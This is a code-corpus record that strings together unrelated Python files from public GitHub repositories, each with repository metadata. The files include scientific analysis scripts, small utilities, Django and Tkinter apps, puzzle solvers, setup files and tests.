a733fe42bc8e5bda636c554618c5c48e33db3764
[]
no_license
xiaodongli1986/LSS_xis
534baa2bd4405799d77d95374e1ae9e0d4ae64ae
60d4d171654625ad359c24bda97d37f588b36a9d
refs/heads/master
2020-04-12T06:40:38.405152
2017-04-29T07:59:01
2017-04-29T07:59:01
63,673,203
1
0
null
null
null
null
UTF-8
Python
false
false
199
py
import random nran = 15028085*30 nowf=open('random.xyzw', 'w') for i in range(nran): x,y = random.uniform(0,3150), random.uniform(0,3150) nowf.write(str(x)+' '+str(y)+' 0 1\n') nowf.close()
[ "xiaodongli@kias.re.kr" ]
xiaodongli@kias.re.kr
e6ff826e900d179f149b994ff4de5462b627cff7
7211f6e8b854175e6d2c29fe364f6eac224b2f56
/gpapp2.py
8d9210f4b96a4c79073bc0fe3c3c8d8b8687f170
[]
no_license
jimparr19/gaussianprocess.python
c340572801717d76c56888338f9fda5fbd8d83c1
a2d0a38412691d85c42504330f68d3f88e38510a
refs/heads/master
2020-04-06T07:11:30.282345
2016-09-14T22:07:18
2016-09-14T22:07:18
63,553,292
0
0
null
null
null
null
UTF-8
Python
false
false
5,955
py
import numpy as np from bokeh.models import ColumnDataSource, TapTool, Circle from bokeh.plotting import figure, curdoc from bokeh.models.widgets import Slider from bokeh.layouts import row, widgetbox min_x = -3 max_x = 3 min_y = -5 max_y = 5 length_scale = Slider(title="length_scale", value=1.0, start=0.01, end=2....
[ "jimparr19@gmail.com" ]
jimparr19@gmail.com
cf025e4e4a83d5bcf74a7018aca2af88294b8cb1
ec645951ce4a1f7d404ebca438dfff8fb74cc3f4
/venv/bin/jupyter-troubleshoot
8f347cbe928d8562e8843ae244df1a6cae1c7e4f
[]
no_license
Josue23/scrapy
695c0e93e6c1f0c0de5a04bd2eaced3e5520801e
469cc4cff7d986264c4bcc291e9eb5f5a6256da9
refs/heads/master
2021-01-09T06:19:59.794012
2017-03-04T00:21:52
2017-03-04T00:21:52
80,957,631
0
0
null
null
null
null
UTF-8
Python
false
false
264
#!/home/josh/Documentos/labs/scrapy/venv/bin/python3.5 # -*- coding: utf-8 -*- import re import sys from jupyter_core.troubleshoot import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "josuerodrigues@gmail.com" ]
josuerodrigues@gmail.com
69f93da6d453113bd298cb9f66e6defcabfe14f0
b9d6af8de01ba4c62ead7c1a7125c01e95c768fe
/src/solve.py
ca698f2ca3a736e6577d3341fbe9af225be56984
[]
no_license
zhiyue-archive/pythontest
eba9cbaefd925527480b28714c2496808c5e3429
9d63b6768bae4ea79718d4ce2fdab44ece385897
refs/heads/master
2022-05-12T02:30:32.990296
2013-04-28T02:12:23
2013-04-28T02:12:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
826
py
''' Created on 2011-1-23 @author: hooxin ''' import re import itertools def solve(puzzle): words=re.findall('[A-Z]+', puzzle.upper()) uniqueCharacters=set(''.join(words)) assert len(uniqueCharacters) <= 10,'Too many letters' firstLetters={word[0] for word in words} n=len(firstLetters) sortedCharecters=''.join(...
[ "firefoxmmx@gmail.com" ]
firefoxmmx@gmail.com
dabbebdf3ba85ca82a00cf07bfab3cfeb37bc538
b9266409059721d5313ddbe49447a0d21692644a
/setup.py
5b26493b1ec0650bf0a5f44d1a5c0d7561428489
[ "BSD-3-Clause" ]
permissive
FrankTN/CoRa
543661ad09e2299ee1a0a8ee16c80e6bb30d3a45
4f1dec44c97c8127a209e041711757696931c750
refs/heads/development
2022-12-12T11:22:50.349155
2020-08-28T15:09:54
2020-08-28T15:09:54
266,853,854
0
0
BSD-3-Clause
2020-08-28T15:08:42
2020-05-25T18:37:10
Python
UTF-8
Python
false
false
499
py
import setuptools as st st.setup( name='cora', version='0.1', author='Frank te Nijenhuis', packages=st.find_packages(), description='CLI wrapper for pyradiomics implementing COVID analysis ', install_requires=[ 'setuptools', 'numpy', 'pyradiomics', 'click', ...
[ "franktn15@gmail.com" ]
franktn15@gmail.com
6aec14c71c1077915f0785c67688532b5d7a8e6b
ed8a4499404adceaa64f9928870b50d7187aab25
/htmlDecode.py
e9198ca8d8c74423c221722fa66a70f23933559d
[]
no_license
bishalthingom/football-data
b965cbc47ee7b716c58a4c0cedeaf383b9195fb0
743aa4d10b0e400c0ef1328f887115d6330068c6
refs/heads/master
2021-08-08T04:21:15.441709
2017-11-09T15:08:55
2017-11-09T15:08:55
110,129,108
0
0
null
null
null
null
UTF-8
Python
false
false
264
py
from HTMLParser import HTMLParser seasons = open('seasons_info.txt','r') seasons_op = open('seasons_op.txt','a+') seasons_dat = seasons.readlines() h = HTMLParser() for season in seasons_dat: seasons_op.write(h.unescape(season)) print h.unescape(season)
[ "bishalthingom@gmail.com" ]
bishalthingom@gmail.com
5a0abc67dccce75eaf012ecd70bb149b865586c2
c7e602238e516754f572868eaaba5aa84c3bbe99
/mle-nanodegree-capstone-project/lib/python3.7/locale.py
347046fe1f1d4f47667f09b0c76f2f7da5247a86
[]
no_license
juliatessler/udacity-mle-nanodegree
24297e8233781c79ed55b1c415af6e64f7a2c324
a4ec8a5220d06599dfcad2934ffb1684f42664a1
refs/heads/master
2023-02-25T22:20:57.252819
2022-04-18T19:21:12
2022-04-18T19:21:12
223,796,916
0
0
null
2023-02-10T23:09:44
2019-11-24T19:19:06
Python
UTF-8
Python
false
false
53
py
/home/julia.tessler/anaconda3/lib/python3.7/locale.py
[ "juliatessler@gmail.com" ]
juliatessler@gmail.com
a5b6dfea444a57414b37cfd52ed445e223037418
ee954c46fa7a533369bd8845b41568d89a879d44
/bleachmd/templatetags/bleachmd.py
453636c5c7b114bf3a1201c05db336ece6cb7e3b
[]
no_license
sjoerdjob/tillogger
84538a46dea7c1d59a7ca90645e63f0fb51ffe34
ad0434f42314b491eaea3820558a6a488d6451be
refs/heads/master
2021-01-10T03:19:58.289681
2016-05-09T16:33:08
2016-05-09T16:33:08
55,001,656
0
0
null
null
null
null
UTF-8
Python
false
false
840
py
from __future__ import unicode_literals from django import template from django.utils.html import mark_safe import markdown import markdown.extensions.headerid # Needs force-importing. import bleach register = template.Library() ALLOWED_TAGS = [ 'code', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'li', 'p'...
[ "sj.postmus@developers.nl" ]
sj.postmus@developers.nl
e1286fa2a637e5aa1f0465a38d82e1bd3905c8d1
659a7a65c877f2eb0adbb6001a1f85f063d01acd
/mscreen/autodocktools_prepare_py3k/AutoDockTools/VisionInterface/Adt/Input/PublicServerLigandDB.py
26991dad68bfc2d248eec6fec64dacb18f2d6a6b
[ "MIT" ]
permissive
e-mayo/mscreen
da59771be250ebe341feb102e0cbf41aab70de43
a50f0b2f7104007c730baa51b4ec65c891008c47
refs/heads/main
2023-06-21T17:47:06.519307
2021-08-09T16:06:29
2021-08-09T16:06:29
345,008,321
10
1
null
null
null
null
UTF-8
Python
false
false
3,110
py
######################################################################### # # Date: Nov 2001 Authors: Michel Sanner # # sanner@scripps.edu # # The Scripps Research Institute (TSRI) # Molecular Graphics Lab # La Jolla, CA 92037, USA # # Copyright: Michel Sanner and TSRI # ###########################...
[ "eduardomayoyanes@gmail.com" ]
eduardomayoyanes@gmail.com
a625b979deaf6a06f61b88dd43ac56027f5f5322
c59d6587ed5d7e7c4f4cbad2e4c8188eee741ad9
/conftest.py
134e36c3a4f3b5465cce6e8c54ef587ba3565484
[]
no_license
n1k0din/kekino-api
921d83b1be0c50e7dfb0b2411ba63fd9f3dc8039
4fef4b1c6bdec970fae1b599be4c719eee06e999
refs/heads/master
2023-08-27T18:21:16.640031
2021-11-07T11:13:01
2021-11-07T11:13:01
425,223,294
0
0
null
null
null
null
UTF-8
Python
false
false
228
py
import pytest from django.conf import settings @pytest.fixture(scope='session') def django_db_setup(): settings.DATABASES['default'] = { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'db.sqlite3', }
[ "nik726@gmail.com" ]
nik726@gmail.com
5cd615a49022a263364e32b093aa43810ec9af62
dae3778cad4a7a1e1abdcc3d2d69083380bb8fc7
/MatchMaking.py
fcc7f6b2fe851b82c23eb800413492b41282807f
[]
no_license
Artperkitny/RandomAlgos
756bf49188587168b08ea86c91d0552413d370c0
90baca794d5e489f666d2a7c9b0acda20c65531a
refs/heads/master
2020-04-16T13:22:13.351268
2015-05-15T03:44:59
2015-05-15T03:44:59
35,529,587
0
0
null
null
null
null
UTF-8
Python
false
false
1,516
py
Girls = ["A", "B", "C"]; Girls_Answer = ["a", "a", "a"]; Boys = ["A", "B", "C"]; Boys_Answer = ["a", "b", "b"]; Result = "B"; def makeMatch(Girls,Girls_Answer,Boys,Boys_Answer,Result): names = len(Girls); answers = len(Girls_Answer[0]); Girls_Combine = sorted(zip(Girls,Girls_Answer)); Boys_Combine = sorted(...
[ "artperkitny@gmail.com" ]
artperkitny@gmail.com
51764377a53f1a8e137c30d08f257ab755beb796
362ba01eb486897faf24bd54ee3b78473349eed2
/ProjectKonjo/ProjectKonjo/bluetooth/urls.py
c8a94d3513513381f6fb8ad16a1a47a4bad92c81
[ "Apache-2.0" ]
permissive
rubensollie/LockrPi
e7d908246004fc9a4442002ceb4553a6a591746e
064e4df61b8084cee00b997380e1ccb1ac5cdf7b
refs/heads/master
2021-04-26T13:22:28.981412
2016-09-26T19:55:26
2016-09-26T19:55:26
79,042,663
0
0
null
null
null
null
UTF-8
Python
false
false
727
py
from datetime import datetime from django.conf.urls import url import django.contrib.auth.views import app.forms import app.views # Uncomment the next lines to enable the admin: # from django.conf.urls import include # from django.contrib import admin # admin.autodiscover() urlpatterns = [ # Examples: url(r'...
[ "ruben@DESKTOP-M7F61LG" ]
ruben@DESKTOP-M7F61LG
d564c8aa72b8618e3d89a78ea6866c695c94cd74
7462f315c3f011f50dc0d1ce89cf3d5f2eb024db
/tramp/likelihoods/abs_likelihood.py
8ad31af49a0340c934ae371dcc2c870f70851570
[ "MIT" ]
permissive
Artaxerces/tramp
060bcceb50f59ad5de96ab4eba8aa322651d90cf
e5351e65676f2e9a1b90d0f4eaf11d8259b548ef
refs/heads/master
2023-04-03T04:49:14.345162
2021-04-08T08:55:54
2021-04-08T08:55:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,252
py
import numpy as np from scipy.stats import norm from .base_likelihood import Likelihood from ..utils.integration import gaussian_measure_2d class AbsLikelihood(Likelihood): def __init__(self, y, y_name="y"): self.y_name = y_name self.size = self.get_size(y) self.repr_init() self.y ...
[ "antoine.baker59@gmail.com" ]
antoine.baker59@gmail.com
f357eb496bccb34a809712c97c9517ac6f0fdd70
8ed3d2d285bb7255209b56a5ff9ec83bb4b8f430
/setup.py
6a083b3b06d7ee5d3ed16d73aacfe015edf07f6e
[]
no_license
MarkLuro/requests-html
f4af9211353e09908f254a9edc0965c084c59a36
f43f3241f0c63cd50bb4286edffcc1f8ee5ae7bd
refs/heads/master
2021-01-24T02:11:25.628019
2018-02-25T13:23:40
2018-02-25T13:23:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,023
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Note: To use the 'upload' functionality of this file, you must: # $ pip install twine import io import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command # Package meta-data. NAME = 'requests-html' DESCRIPTION = 'HTML Parsin...
[ "me@kennethreitz.org" ]
me@kennethreitz.org
233da41e7bd6d8bc26423d834ec30979432da47b
77f65ea86ebc544c3f3e66c0152086e45669068c
/ch09-objects/e42b2_recent_dict.py
6449ace10c6bb5805d30a84d5cf9f40f10adaedd
[]
no_license
Cptgreenjeans/python-workout
e403f48b0694ff4db32fe5fc3f87f02f48a1a68e
b9c68520d572bf70eff8e554a8ee9c8702c88e6e
refs/heads/master
2023-07-16T21:49:14.198660
2021-08-29T13:49:12
2021-08-29T13:49:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
374
py
#!/usr/bin/env python3 """Solution to chapter 9, exercise 42, beyond 2: recent_dict""" class RecentDict(dict): def __init__(self, maxsize): super().__init__() self.maxsize = maxsize def __setitem__(self, key, value): dict.__setitem__(self, str(key), value) if len(self) > sel...
[ "reuven@lerner.co.il" ]
reuven@lerner.co.il
0768fa578bef2f20eb458538af07fba225c67d2c
c12fa5b48f93f64a842e36ba020c581c662e54e0
/digitmedia/4 picmatch/mysift.py
f0510b270760dc9cd4605dc46b7824ba66bea982
[ "MIT" ]
permissive
fffasttime/cs_misc
13dc402ff390915b14d4d4812768fb1906084e0e
abff0dcaa840d07e2d948c50d9a9e53996c744fb
refs/heads/master
2021-07-20T03:23:25.988431
2021-04-26T13:38:02
2021-04-26T13:38:02
247,418,480
5
2
null
null
null
null
UTF-8
Python
false
false
963
py
import cv2 import numpy as np import math def detectAndCompute(img, _): keypoint=cv2.goodFeaturesToTrack(img, 6, 0.01, 5).astype(int) #print(keypoint) img=img[:] img=cv2.GaussianBlur(img, (5,5),1,1) # TODO: Gauss pyramid # grad filter kernel = np.array([ [[-1,0,1],[-1,0,1],[-1,0,1...
[ "1148716581@qq.com" ]
1148716581@qq.com
0a522be1f7afc07653c832e157810722ee1beff8
39ac450698e68c44862fc8fdac9efc0ee9c6994d
/Week_01/id_2/LeetCode_24_2.py
692557c9420c5f0ecf7bc81c0d792fb977e644c6
[]
no_license
algorithm003/algorithm
70d0f6a292c480e017e90ab5996772becbc7113c
06b1a12411c22c3f24fd58b24f17a923dca380d5
refs/heads/master
2022-02-02T11:59:01.917835
2019-06-26T14:33:22
2019-08-05T15:55:03
189,704,070
18
65
null
2019-08-05T04:35:13
2019-06-01T07:31:23
C++
UTF-8
Python
false
false
633
py
class ListNode: def __init__(self, x): self.val = x self.next = None """ @author: Merlin 2019.06.23 24.Swap Nodes In Pairs 思路: 用两个指针不断交换元素,并移动指针到下一组要交换的元素即可 例子: 交换相邻两个节点,1->2->3->4->5,交换后得2->1->4->3->5 time: O(n) space: O(1) """ class Solution: def swapPairs(self, head): ...
[ "377730858@qq.com" ]
377730858@qq.com
da6292de15c39ed810bb8e5fb5bc6779c09206fe
dbfe32395fddec182adcac5c628ee25f4228b424
/DecodingPerformanceAcrossNumOfCells.py
b37ad96a81d0c0f4e86dde1160b262e1d60eef16
[]
no_license
rweaton/CaTransDecodingCode
f8216e899b5b685022f893e515bf6fb8e64af481
a11d9a2ec2e36e91292fe0ec68f1823618ead6cb
refs/heads/master
2022-04-14T06:49:05.395439
2020-01-24T03:26:08
2020-01-24T03:26:08
178,295,330
0
0
null
null
null
null
UTF-8
Python
false
false
10,581
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Oct 2 07:46:53 2019 @author: thugwithyoyo """ import pandas as pd import numpy as np import matplotlib.pyplot as plt import CalciumImagingFluorProcessing as CIFP #import SlidingWindowAnalysisFunc as SWAF import CalciumTraceDataframeFuncLib as CTDFL fr...
[ "rweaton@ucdavis.edu" ]
rweaton@ucdavis.edu
edbbe884c6f756ca71cf3d3e3a28124e1c5241fb
502fa04d0dbb81c40cd3bc748c10f04b01589500
/src/testing.py
fec7b1f255599ec23dc05eebfbba525533eefba3
[]
no_license
surajKrish/evolvegcn-dndf-kd
d6060b2fdd655ebce0e531153129967344efa0e8
87701bed8c729c1cda7a72c08a8b4878898e5862
refs/heads/master
2023-02-28T17:36:19.488799
2021-01-30T12:14:34
2021-01-30T12:14:34
334,373,229
0
0
null
null
null
null
UTF-8
Python
false
false
2,521
py
import time import torch import torch.optim as optim from utils import get_memory_and_execution_time_details from train_test_split import train_test_split from KnowledgeDistillation import KD from src.NeuralNetworks.GCN import GCN from src.NeuralNetworks.RecurrentGCN import RecurrentGCN train_loader, test_loader, nu...
[ "surajKrish@users.noreply.github.com" ]
surajKrish@users.noreply.github.com
7e94f2f379b7451b6f5601335bea880725993197
0c92ad9f050d8cfdcb8e405b0b13bce53ac8a304
/line relevant/indexing_lr.py
0966e035e70b9c2975a28594eebf7a9aabd3f081
[]
no_license
Saurabh-Bazari/Search-Engine-Python
36172a51d2dfcfba8fb89c1b9968301ec9ca3f7c
57400946eb61d220285d2cccc0cc660b07d874db
refs/heads/master
2021-04-09T17:13:06.256038
2019-01-08T14:21:03
2019-01-08T14:21:03
125,724,517
0
0
null
null
null
null
UTF-8
Python
false
false
1,872
py
import os,glob import numpy as np import pickle from operator import itemgetter import threading def create_corpus_dict(): corpus=dict() for filename in glob.glob(os.path.join('files','*.txt')): filename1=filename[6:] with open(filename) as infile: line_number=1 for line in infile: key = filen...
[ "saurabhbazari3101@gmail.com" ]
saurabhbazari3101@gmail.com
04283c4f03a5d95a9bc868d1323896986783c79c
b3e7bc43b177ed9dc46fa5ba8fa11bc821ff845c
/pykit/chargedensity/vasp.py
8c0766a6a5718a8baabba12d49ca14d304512175
[]
no_license
gjenness/Pykit
893ce12b91c36fbdde6868bfda08867def610be0
fd29d8d74248d9993b5240d7eb1382c967224fa8
refs/heads/master
2021-01-10T21:04:52.537387
2013-01-11T22:57:47
2013-01-11T22:57:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,617
py
import os, math, time, itertools import numpy as np from pykit.chargedensity.chargedensity import ChargeDensity from pykit.geometry import geomread class Chgcar(ChargeDensity): def __init__(self, chgfile='CHGCAR', posfile='POSCAR', status='r'): ChargeDensity.__init__(self, chgfile=chgfile, status=status)...
[ "glen@glen-VirtualBox.(none)" ]
glen@glen-VirtualBox.(none)
4db18047d418f05886f0867b18a5287ce69aef4e
7c5a2dcd8dbde425f0d224c29ddf2589df5f6e95
/rock paper scisosooros.py
ef86509736e048d9189e330f5de68d7715af0d52
[]
no_license
s0Iitaire/idk-fam
6a63af6043ea58e672941d209b4f4bdae4edbfc4
683ea99d3bb2adbb450e0729f0048a50da31e30d
refs/heads/main
2023-03-29T04:07:07.481486
2021-03-28T22:43:41
2021-03-28T22:43:41
352,451,463
0
0
null
null
null
null
UTF-8
Python
false
false
863
py
# imports random function import random # creates da while loop game=True while game == True: usersSelect = int(input("choose one of these options:\n 1 = Rock \n 2 = Paper \n 3 = Scissors\n")) computerSelect = random.randint(1,3) if computerSelect == 1: print("computer chose Rock") ...
[ "noreply@github.com" ]
s0Iitaire.noreply@github.com
d1d8b0f0745d0cbadc0870e6c03600d69579d87f
52b5773617a1b972a905de4d692540d26ff74926
/.history/coins_20200607123443.py
742c4c7e6e1d456cb4ac4cfeb1fabd621a8f9488
[]
no_license
MaryanneNjeri/pythonModules
56f54bf098ae58ea069bf33f11ae94fa8eedcabc
f4e56b1e4dda2349267af634a46f6b9df6686020
refs/heads/master
2022-12-16T02:59:19.896129
2020-09-11T12:05:22
2020-09-11T12:05:22
null
0
0
null
null
null
null
UTF-8
Python
false
false
115
py
def change(amount,coins): count = 0 for i in range(len(coins)): if mount change(5,[1,2,5])
[ "mary.jereh@gmail.com" ]
mary.jereh@gmail.com
e3216a059768b75953a953db9bd77fd8b723a848
d593d4f75aefa78f63c15ec94c4364d2e5f5aa1d
/advisor/is_direct_logic/static/test_offer_open_email_with_offer_click_and_browse_cbtt_08.py
7ba398dd025836229152e928ce801cec8b672f6c
[]
no_license
rpheart/pycharmTmcautomation
16549f18d9bb8dd88b55f7f653cafbbcd3819c78
9682c02b0984e09078d3a7cdf3bdaaf365ae3108
refs/heads/master
2020-03-25T14:01:58.600105
2018-03-06T12:02:33
2018-03-06T12:02:33
143,852,753
0
0
null
null
null
null
UTF-8
Python
false
false
3,602
py
import os import unittest from random import randint import requests import advisor.is_direct_logic.utils as utils import advisor.utils.api_calls as api import advisor.utils.env_config as settings import advisor.utils.tcpdump as tcp # Globals unique_key = randint(1000, 10000) email = "TC08_%s@advisortest.com" % uniq...
[ "patrick.summers@smartfocus.com" ]
patrick.summers@smartfocus.com
b1bd78b498674dcbdece7b2c8afec187d4fa30ef
119dece27950b3eec7f85c8e4594acb76a08579f
/python/test_evaluate.py
a204ae29aff40f18dfd527edc5e3e9397e742668
[]
no_license
seanorar/Memoria
871f981ce5a231de239004cc1c677d7ec507e63e
612bcf451ae81a1e87518ea4271da9706ec7c87e
refs/heads/master
2021-01-20T10:53:39.939727
2018-01-02T13:56:11
2018-01-02T13:56:11
97,170,716
0
0
null
null
null
null
UTF-8
Python
false
false
2,989
py
from evaluate import * #prototxt_i = "/home/sormeno/py-faster-rcnn/models/imagenet/VGG16/faster_rcnn_end2end/test.prototxt" #caffemodel_i = "/home/sormeno/py-faster-rcnn/data/faster_rcnn_models/VGG16_faster_rcnn_imagenet.caffemodel" prototxt_i = "/home/sormeno/Desktop/ZF_ILSVRC.prototxt" caffemodel_i = "/home/sormeno/...
[ "seba_orme@hotmail.com" ]
seba_orme@hotmail.com
0e856ffc51a9a1c7e642398621d9fc3c81414ff0
d0d46725767ac4399ca3df883a32038a21fdca90
/decision_tree/split_by_entropy.py
4bad3f919f896ac71f9fe069c886a7350922931a
[]
no_license
andvoidlei/algorithm-python
23e3d87342c3ea8f00c961a30af0dbc43a11418f
ee645a4a3b82231c0c33b2c29c82ac980363463c
refs/heads/master
2021-06-26T19:56:17.316891
2020-10-20T12:53:15
2020-10-20T12:53:15
138,046,280
0
0
null
null
null
null
UTF-8
Python
false
false
2,006
py
# -*- coding: utf-8 -*- """ Created on Wed Jul 4 13:35:15 2018 @author: Administrator """ from cal_entropy import * def Split_Data(dataset, axis, value): ''' 使用传入的axis以及value划分数据集 axis代表在每个列表中的第X位,value为用来划分的特征值 输出非axis特征值及结果 ''' new_subset = [] # 利用循环将不符合value的特征值划分入另一集合 # 相当于将valu...
[ "andvoid_lei@163.com" ]
andvoid_lei@163.com
7a07505f57ca38099f4fd05c34e0ed4651f5cad6
f521bf0937dddcc022b1bad179831a03b7e59318
/tests/test_pipper.py
8dce678876259b4d8c262cd351bfa0fff64c2d5b
[ "BSD-3-Clause" ]
permissive
jdvala/pipgrip
243664e3dde58c7897901c0b8c1d4cb3cfde75db
84a766dca193e8df45a2d45ac3fa4cda219fbcac
refs/heads/master
2022-11-30T18:59:17.054091
2020-08-07T08:58:34
2020-08-07T08:58:34
295,218,451
1
0
BSD-3-Clause
2020-09-13T19:04:27
2020-09-13T19:04:26
null
UTF-8
Python
false
false
6,747
py
import os import subprocess import pytest import pipgrip.pipper from pipgrip.pipper import _download_wheel, _get_available_versions @pytest.mark.parametrize( "package, pip_output, expected", [ ( ".[all]", """ Collecting jupyterlab-black Downloading h...
[ "noreply@github.com" ]
jdvala.noreply@github.com
3b3322f1e95944bd832f02cd426aaf751b7b9e2d
09175fc0e91d9acf794dde9b7ac9818fb484f610
/images/folder_util.py
f1b744dabc3d343ca7e06829c5257f1a20ad5677
[]
no_license
dyeden/mapbiomas-utils
612ae1bce148da000376bcda6150cf70a0d6cdc6
89bad2a81a96075e6f8850dbf253a6cfef163196
refs/heads/master
2020-05-02T15:51:04.052593
2019-05-05T22:07:37
2019-05-05T22:07:37
178,053,811
1
0
null
2019-05-05T22:07:38
2019-03-27T18:36:06
Python
UTF-8
Python
false
false
393
py
""" mkdir -p /mnt/disks/data/data2/collections/COLECAO3_1/INTEGRACAO mkdir -p /mnt/disks/data/data2/collections/COLECAO3_1/RGB mkdir -p /mnt/disks/data/data2/collections/COLECAO3_1/TRANSICAO mkdir -p /mnt/disks/data/data2/collections/COLECAO3_1/VRT/INTEGRACAO mkdir -p /mnt/disks/data/data2/collections/COLECAO3_1/VRT/RG...
[ "dyeden.monteiro@terras.agr.br" ]
dyeden.monteiro@terras.agr.br
9f221f4aed7b605b04d8d8aa9a732b2c4c612faf
4e83f4c3fdba728d6d888d9077f47f5a87a8858e
/weather.py
896ea14d1a398b5ff6fdb1484021af46ac63698e
[ "Apache-2.0" ]
permissive
Gagan-nmims/Weather_Forecast
c66cee57cce0b7e4e9a05959ca574ed5e735e8ba
1cafeebeec0f6398f8e9da05bc5f679175b158f9
refs/heads/main
2023-06-09T04:33:04.494536
2021-06-26T08:25:12
2021-06-26T08:25:12
380,451,286
0
0
null
null
null
null
UTF-8
Python
false
false
5,641
py
# import all functions from the tkinter from tkinter import * # function to find weather details # of any city using openweathermap api def tell_weather() : # import required modules import requests, json # enter your api key here api_key = "bec52956c57b0d87d77cfc1390bb2458" # base_url...
[ "76172276+Gagan-nmims@users.noreply.github.com" ]
76172276+Gagan-nmims@users.noreply.github.com
c53ec5397ec182007a22d88243b2d4ec32a3f966
d6ca0b326f1bd0ce381c6db611f6331096bf4187
/examples/example_20_using_deap_manual_runs.py
ab46bba8dfec0020018669d017e35953cbda71ea
[ "BSD-3-Clause" ]
permissive
SmokinCaterpillar/pypet
aa35355d70e8f44be015313494376d993f645d80
3d454ac65f89e7833baaf89510f73c546e90d8f6
refs/heads/develop
2023-08-08T16:01:54.087819
2023-02-14T14:59:32
2023-02-14T14:59:32
12,901,526
89
22
BSD-3-Clause
2023-07-24T00:46:12
2013-09-17T17:06:00
Python
UTF-8
Python
false
false
6,723
py
""" An example showing how to use DEAP optimization (http://pythonhosted.org/deap/). DEAP can be combined with *pypet* to keep track of all the data and the full trajectory of points created by a genetic algorithm. Note that *pypet* adds quite some overhead to the optimization algorithm. Using *pypet* in combination ...
[ "robert.meyer@ni.tu-berlin.de" ]
robert.meyer@ni.tu-berlin.de